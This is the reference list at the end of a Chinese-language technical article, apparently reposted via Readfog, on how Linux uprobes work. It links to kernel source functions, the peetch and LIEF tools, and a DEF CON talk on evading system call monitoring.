valid_vma(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L121
[16]
install_breakpoint(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L890
[17]
__vma_adjust(): https://github.com/torvalds/linux/blob/f56dbdda4322d33d485f3d30f3aabba71de9098c/mm/mmap.c#L746
[18]
__vma_adjust(): https://github.com/torvalds/linux/blob/f56dbdda4322d33d485f3d30f3aabba71de9098c/mm/mmap.c#L746
[19]
uprobe_mmap(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1356
[20]
uprobe_mmap(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1356
[21]
valid_vma(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L121
[22]
build_probe_list(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1287
[23]
install_breakpoint(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L890
[24]
do_int3(): https://github.com/torvalds/linux/blob/d6ecaa0024485effd065124fe774de2e22095f2d/arch/x86/kernel/traps.c#L780
[25]
notify_die(DIE_INT3, …): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/notifier.c#L535
[26]
atomic_notifier_call_chain(&die_chain, …): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d363d3639d4772966/kernel/notifier.c#L211
[27]
register_die_notifier(): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/notifier.c#L552
[28]
atomic_notifier_call_chain: https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/notifier.c#L211
[29]
notifier_call_chain(): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/notifier.c#L64
[30]
uprobe_init(): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/events/uprobes.c#L2345
[31]
arch_uprobe_exception_notify(): https://github.com/torvalds/linux/blob/6daa755f813e6aa0bcc97e352666e072b1baac25/arch/x86/kernel/uprobes.c#L999
[32]
uprobe_pre_sstep_notifier(): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/events/uprobes.c#L2315
[33]
uprobe_notify_resume(struct pt_regs * regs): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/events/uprobes.c#L2298
[34]
handle_swbp(regs): https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/events/uprobes.c#L2186
[35]
handler_chain(find_active_uprobe()): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L2067
[36]
pre_ssout(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1923
[37]
xol_get_insn_slot: https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1605
[38]
get_xol_area(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1524
[39]
xol_add_vma(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1436
[40]
pre_ssout(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1923
[41]
arch_uprobe_pre_xol(): https://github.com/torvalds/linux/blob/f56dbdda4322d33d485f3d30f3aabba71de9098c/arch/powerpc/kernel/uprobes.c#L64
[42]
arch_uprobe_post_xol: https://github.com/torvalds/linux/blob/6daa755f813e6aa0bcc97e352666e072b1baac25/arch/x86/kernel/uprobes.c#L961
[43]
uprobe_notify_resume: https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L2294
[44]
default_post_xol_op: https://github.com/torvalds/linux/blob/6daa755f813e6aa0bcc97e352666e072b1baac25/arch/x86/kernel/uprobes.c#L554
[45]
peetch: https://github.com/quarkslab/peetch
[46]
Uprobe 激活: https://chat.openai.com/c/2c255f94-d105-4b00-94e8-2a79be7015db#uprobe-activation
[47]
檢測新程序實例: https://chat.openai.com/c/2c255f94-d105-4b00-94e8-2a79be7015db#detection-of-new-program-instances
[48]
lief: https://lief-project.github.io/
[49]
仍然可能存在問題: https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Rex%20Guo%20Junyuan%20Zeng%20-%20Phantom%20Attack%20-%20%20Evading%20System%20Call%20Monitoring.pdf
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/gP4j6Pl3ffvyIINnZKEbTA